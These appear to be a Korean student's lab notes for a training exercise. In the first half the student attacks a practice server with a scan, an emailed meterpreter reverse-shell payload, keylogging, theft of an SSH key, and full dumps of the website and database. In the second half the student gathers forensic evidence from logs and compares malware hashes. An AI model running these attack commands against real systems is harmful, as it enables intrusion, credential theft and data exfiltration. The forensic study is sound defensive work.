●43일차(20250214043.php)
#미션4
공격 대상: st.kr
공격순서
1) 스캔
nmap -v -p1-65535 125.246.95.253
2) 악성코드 메일로 보내기
msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.111 LPORT=4444 -b "\x00" -f exe -o ip111.exe
msfconsole -r /home/kali/malware.rc
3) 해커와 연결
meterpreter > keyscan_start
meterpreter > keyscan_dump
>> master 123456이 나옴
4) 인증키 찾고 비밀번호 획득
meterpreter > pwd
> 현재 경로 파악
> ls, cd 활용하여 공개키 경로 파악
> 바탕화면에 있는거 key 파일 확인
meterpreter > download "공개키 경로\파일명" /home/kali/Desktop
> kali에 다운로드함 > 파일명 master로 키가 저장됨
kali로 돌아와서
cd /home/kali/Desktop
sz master
(D:\master에 저장함)
5) 외부에서 서버 접속
ssh master@125.246.95.253
> 공개키 넣고 123456 해줌
cd /home
tar cvzf home.tar.gz ./
sz home.tar.gz
> 웹페이지 전체 백업 후 유출
mysqldump -u root -p --all-databases > data.sql
sz data.sql
> 데이터베이스 전체 백업후 유출
+) 메일 보내는거 제외하고는 xshell로 작업함
> sz 명령어는 xshell에서만 가능
#유출 증거 확보
1. 서버의 로그 기록 확보
tac /var/log/auth.log | grep --line-buffered "Accepted "
2025-02-14T11:51:03.768113+09:00 mail sshd[2648]: Accepted publickey for master from 192.168.0.202 port 60877
ssh2: ED25519 SHA256:g41apAHOw6H/tQSV+UxxAsF4Dc/B4Vz72xnrQDC6X54
2. 이메일 파일 확보 후 분석
tac /var/log/mail.log | grep "192.168.0.211"
2025-02-14T11:31:22.194901+09:00 mail sm-mta[2202]: 51E2V4Wc002202: from=<hjs@mail.st.kr>, size=100542, class=0, nrcpts=1,
msgid=<078651c2163a0efff0603ccec58e895db8369878.camel@mail.st.kr>, proto=ESMTP, daemon=MTA-v4, relay=[192.168.0.112]
cd /var/spool/mail
tac master
master가 받은 모든 메일이 뜸

> 메일 내용이 뜬다
3. RSYSLOG의 데이터 기록 전체 확보 후 각자 분석
> 너무 많아서 못찾음
tac syslog | grep "2025-02-14"
2025-02-14T10:36:11.650375+09:00 mail named[25189]: client @0x631a6c7bdae0 192.168.0.202#64652
(beacons.gcp.gvt2.com): query (cache) 'beacons.gcp.gvt2.com/A/IN' denied (allow-query-cache did not match)
> 이런식으로 나옴
> dns 정보를 조회하려는 시도가 거부했다는 뜻
관리자 PC 전체 이미징 작업 진행 예정
#유출 증거 대조
서과장 유출 사건을 image로 빼낸다
> root > 오른쪽 마우스 > export file hash > .csv로 저장됨
> 서과장 유출 사건의 각각의 경로들 파일들마다의 해시값이 나옴
1. 관리자 PC와 해커 악성코드 해시값 비교
> 관리자PC가 악성코드를 다운
> 바탕화면에서 발견
> 관리자 PC의 하드디스크에 악성코드의 해시값이 남아있을 것이다
> PC 전원을 내리고 하드디스크 분리 후 데이터 가져와서 해시값을 알아냄
> 우리가 보낸 악성코드의 해시값을 kali에서 구한 다음 비교해보자

> 같다는 것을 알 수 있다
> 위에 로그를 토대로 IP를 이용해 누가 악성코드를 넣었는지 알 수 있을 것이다
> team1.exe의 파일명을 update.exe로 바꿔도 해시값은 바뀌지 않기 때문에 알 수 있다.
> 내용을 바꾸면 해시값이 바뀌긴한다
team1.exe 해시값
MD5
348d279e690665a18d63563b367ec207
SHA256
0b57265d66bd4fe3fe22fbd4291ccb4dac62187101c3bfda7121170b596a5327
관리자 하드디스크에서 빼왔던 .adi를 imager에 넣는다
[root] > Users > master > AppData > Roaming > Thunderbird > Profiles > 7bzgzg0k. default-esr
> Mail > mail.st.kr > inbox > 우리가 보냈던 mail들이 뜨는데 team1.exe 검색
> base64로 된 해시값이 나올것임
윈도우 powershell 에서
$base64String = " 데이터 넣기 "
엔터
[system.IO.File]::WriteAllBytes("decoded2.exe", [Convert]::FromBase64String($base64String))
> 내 PC\C:\사용자\PC1 > decoded가 생김
decoded를 hashCalc에 넣어주면 구해줬던 team1.exe의 MD5와 똑같이 나온다
+) team1.exe가 악성코드라 가져와지지 않는다
> window defender를 꺼야함
> 우측 하단 메세지 창 > 모든설정 > 업데이트 및 보안 > windows 보안 > 바이러스 및 위협감지 설정
> 설정관리 > 실시간 보호 해제
#정리
1) 서버의 로그 기록 확보
> auth.log에 본인의 접속 IP가 있는가?
2) RSYSLOG의 데이터 기록 전체 확보후 각자 분석
> RSYSLG 데이터에 본인의 접속 IP가 있는가?
3) 이메일 로그에 본인의 IP가 있는가?
> 이메일 로그에 본인의 IP가 있는가?
> 각자 관리자한테 보낸 악성코드 어디에 있는지 찾기
> 인코딩 되어있지만 디코딩 후 해시값 분석 일치